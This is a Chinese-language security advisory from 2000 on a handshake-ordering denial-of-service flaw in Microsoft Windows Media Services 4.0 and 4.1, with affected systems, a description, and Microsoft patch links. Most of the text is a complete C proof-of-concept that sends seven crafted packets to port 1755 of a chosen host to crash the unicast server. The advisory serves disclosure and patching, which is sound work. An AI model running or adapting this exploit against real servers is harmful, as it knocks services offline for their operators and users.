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安全漏洞

MS Windows Media Services握手次序DoS漏洞

发布日期：2000-02-24
更新日期：2000-02-25

受影响系统：

Microsoft Windows Media Services 4.1
   + Microsoft Windows NT 4.0
   + Microsoft Windows NT 2000.0
Microsoft Windows Media Services 4.0
   + Microsoft Windows NT 4.0
   + Microsoft Windows NT 2000.0

描述：

无序握手序列发送到Windows Media Unicast Server可能会导致服务器崩溃。必须重新启动Unicast服务，包括在此期间打开的会话，以恢复正常的服务功能。这是由于应用程序依赖于客户端与服务端间要按正确次序来成功完成异步握手请求。

测试方法：

警告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

/*
*
* Jan-18-2000
*
* [ http://www.rootshell.com/ ]
*
* Microsoft Media Server 4.1 - Denial of Service Attack
*
* This code will crash the Microsoft Media Unicast Server for
* Windows NT. We have tested this against machines running SP4
* and SP6.
*
* We have seen the entire machine become very unstable following
* the crash of the unicast server.
*
* Notified secure@microsoft.com Jan-18-2000 at 11:30 AM.
* Microsoft advisory released Feb-23-2000.
*
* http://www.microsoft.com/technet/security/bulletin/fq00-013.asp
*
*/

#include <stdio.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <string.h>
#include <unistd.h>

char packet1[] = {
0x01, 0x00, 0x00, 0x00, 0xce, 0xfa, 0x0b, 0xb0, 0xa0, 0x00, 0x00, 0x00,
0x4d, 0x4d, 0x53, 0x20, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xf8, 0x53, 0xe3, 0xa5, 0x9b, 0xc4, 0x00, 0x40, 0x12, 0x00, 0x00, 0x00,
0x01, 0x00, 0x03, 0x00, 0xf0, 0xf0, 0xf0, 0xf0, 0x0b, 0x00, 0x04, 0x00,
0x1c, 0x00, 0x03, 0x00, 0x4e, 0x00, 0x53, 0x00, 0x50, 0x00, 0x6c, 0x00,
0x61, 0x00, 0x79, 0x00, 0x65, 0x00, 0x72, 0x00, 0x2f, 0x00, 0x34, 0x00,
0x2e, 0x00, 0x31, 0x00, 0x2e, 0x00, 0x30, 0x00, 0x2e, 0x00, 0x33, 0x00,
0x38, 0x00, 0x35, 0x00, 0x37, 0x00, 0x3b, 0x00, 0x20, 0x00, 0x7b, 0x00,
0x30, 0x00, 0x32, 0x00, 0x64, 0x00, 0x30, 0x00, 0x63, 0x00, 0x32, 0x00,
0x63, 0x00, 0x30, 0x00, 0x2d, 0x00, 0x62, 0x00, 0x35, 0x00, 0x30, 0x00,
0x37, 0x00, 0x2d, 0x00, 0x31, 0x00, 0x31, 0x00, 0x64, 0x00, 0x32, 0x00,
0x2d, 0x00, 0x39, 0x00, 0x61, 0x00, 0x61, 0x00, 0x38, 0x00, 0x2d, 0x00,
0x62, 0x00, 0x37, 0x00, 0x30, 0x00, 0x66, 0x00, 0x33, 0x00, 0x30, 0x00,
0x34, 0x00, 0x34, 0x00, 0x61, 0x00, 0x65, 0x00, 0x37, 0x00, 0x65, 0x00,
0x7d, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
};

char packet2[] = {
0x01, 0x00, 0x00, 0x00, 0xce, 0xfa, 0x0b, 0xb0, 0x20, 0x00, 0x00, 0x00,
0x4d, 0x4d, 0x53, 0x20, 0x04, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
0x5e, 0xba, 0x49, 0x0c, 0x02, 0x2b, 0x01, 0x40, 0x02, 0x00, 0x00, 0x00,
0x18, 0x00, 0x03, 0x00, 0xf1, 0xf0, 0xf0, 0xf0, 0x0b, 0x00, 0x04, 0x00
};

char packet3[] = {
0x01, 0x00, 0x00, 0x00, 0xce, 0xfa, 0x0b, 0xb0, 0x60, 0x00, 0x00, 0x00,
0x4d, 0x4d, 0x53, 0x20, 0x0c, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00,
0x83, 0xc0, 0xca, 0xa1, 0x45, 0xb6, 0x01, 0x40, 0x0a, 0x00, 0x00, 0x00,
0x02, 0x00, 0x03, 0x00, 0xf1, 0xf0, 0xf0, 0xf0, 0xff, 0xff, 0xff, 0xff,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xa0, 0x00, 0x02, 0x00, 0x00, 0x00,
0x5c, 0x00, 0x5c, 0x00, 0x31, 0x00, 0x39, 0x00, 0x32, 0x00, 0x2e, 0x00,
0x31, 0x00, 0x36, 0x00, 0x38, 0x00, 0x2e, 0x00, 0x30, 0x00, 0x2e, 0x00,
0x32, 0x00, 0x5c, 0x00, 0x54, 0x00, 0x43, 0x00, 0x50, 0x00, 0x5c, 0x00,
0x31, 0x00, 0x31, 0x00, 0x31, 0x00, 0x31, 0x00, 0x00, 0x00, 0x32, 0x00,
0x63, 0x00, 0x30, 0x00
};

char packet4[] = {
0x01, 0x00, 0x00, 0x00, 0xce, 0xfa, 0x0b, 0xb0, 0x88, 0x00, 0x00, 0x00,
0x4d, 0x4d, 0x53, 0x20, 0x11, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00,
0x2b, 0x87, 0x16, 0xd9, 0xce, 0xf7, 0x01, 0x40, 0x0f, 0x00, 0x00, 0x00,
0x05, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x54, 0x00, 0x68, 0x00,
0x65, 0x00, 0x20, 0x00, 0x45, 0x00, 0x61, 0x00, 0x67, 0x00, 0x6c, 0x00,
0x65, 0x00, 0x73, 0x00, 0x20, 0x00, 0x54, 0x00, 0x65, 0x00, 0x71, 0x00,
0x75, 0x00, 0x69, 0x00, 0x6c, 0x00, 0x61, 0x00, 0x20, 0x00, 0x53, 0x00,
0x75, 0x00, 0x6e, 0x00, 0x72, 0x00, 0x69, 0x00, 0x73, 0x00, 0x65, 0x00,
0x20, 0x00, 0x32, 0x00, 0x38, 0x00, 0x6b, 0x00, 0x2f, 0x00, 0x65, 0x00,
0x61, 0x00, 0x67, 0x00, 0x6c, 0x00, 0x65, 0x00, 0x73, 0x00, 0x32, 0x00,
0x38, 0x00, 0x2e, 0x00, 0x61, 0x00, 0x73, 0x00, 0x66, 0x00, 0x00, 0x00,
0x62, 0x00, 0x37, 0x00, 0x30, 0x00, 0x66, 0x00
};

char packet5[] = {
0x01, 0x00, 0x00, 0x00, 0xce, 0xfa, 0x0b, 0xb0, 0x48, 0x00, 0x00, 0x00,
0x4d, 0x4d, 0x53, 0x20, 0x09, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00,
0x67, 0x66, 0x66, 0x66, 0x66, 0x66, 0x02, 0x40, 0x07, 0x00, 0x00, 0x00,
0x15, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff,
0x65, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0xac, 0x40, 0x02, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00
};

char packet6[] = {
0x01, 0x00, 0x00, 0x00, 0xce, 0xfa, 0x0b, 0xb0, 0x30, 0x00, 0x00, 0x00,
0x4d, 0x4d, 0x53, 0x20, 0x06, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00,
0x0a, 0xd7, 0xa3, 0x70, 0x3d, 0x0a, 0x11, 0x40, 0x04, 0x00, 0x00, 0x00,
0x33, 0x00, 0x03, 0x00, 0x02, 0x00, 0x00, 0x00, 0xff, 0xff, 0x01, 0x00,
0x00, 0x00, 0xff, 0xff, 0x02, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff,
0x65, 0x00, 0x20, 0x00
};

char packet7[] = {
0x01, 0x00, 0x00, 0x00, 0xce, 0xfa, 0x0b, 0xb0, 0x38, 0x00, 0x00, 0x00,
0x4d, 0x4d, 0x53, 0x20, 0x07, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00,
0x2f, 0xdd, 0x24, 0x06, 0x81, 0x15, 0x11, 0x40, 0x05, 0x00, 0x00, 0x00,
0x07, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00, 0xff, 0xff, 0x01, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0x16, 0xca, 0x03, 0x80, 0x04, 0x00, 0x00, 0x00
};

int sock;

int main(int argc, char *argv[]) {
  struct hostent *he;
  struct sockaddr_in sa;
  char buf[1024];

  if (argc != 2) {
    fprintf(stderr, "usage: %s <host/ip>\n", argv[0]);
    return(-1);
  }

  sock = socket ( AF_INET, SOCK_STREAM, 0);
  sa.sin_family = AF_INET;
  sa.sin_port = htons(1755);
  he = gethostbyname (argv[1]);
  if (!he) {
    if ((sa.sin_addr.s_addr = inet_addr(argv[1])) == INADDR_NONE)
      return(-1);
  } else {
    bcopy(he->h_addr, (struct in_addr *) &sa.sin_addr, he->h_length);
  }
  if (connect(sock, (struct sockaddr *) &sa, sizeof(sa)) < 0) {
    fprintf(stderr, "Fatal Error: Can't connect to Microsoft Media Server.\n");
    return(-1);
  }
  write(sock, packet1, sizeof(packet1));
  write(sock, packet2, sizeof(packet2));
  write(sock, packet3, sizeof(packet3));
  write(sock, packet4, sizeof(packet4));
  write(sock, packet5, sizeof(packet5));
  write(sock, packet6, sizeof(packet6));
  write(sock, packet7, sizeof(packet7));
  for (;;) {
    read(sock, buf, sizeof(buf));
  }
}

建议：

微软已经就此发布了相应的补丁：

Windows NT Server 4.0:
http://download.microsoft.com/download/winmediatech40/Update/4954/NT4/EN-US/WMSU4954_NT4.EXE

Windows 2000 Server:
http://download.microsoft.com/download/winmediatech40/Update/4954/NT5/EN-US/WMSU4954_Win2000.EXE

注意: 在打此补丁前，建议先在Windows NT 4.0下升级Media Service到4.1版本。Media Services 4.1可在以下地址下载:

http://www.microsoft.com/windows/windowsmedia/

该补丁可以直接在Windows 2000上使用，因为Windows 2000本身已经带有了Media Service 4.1

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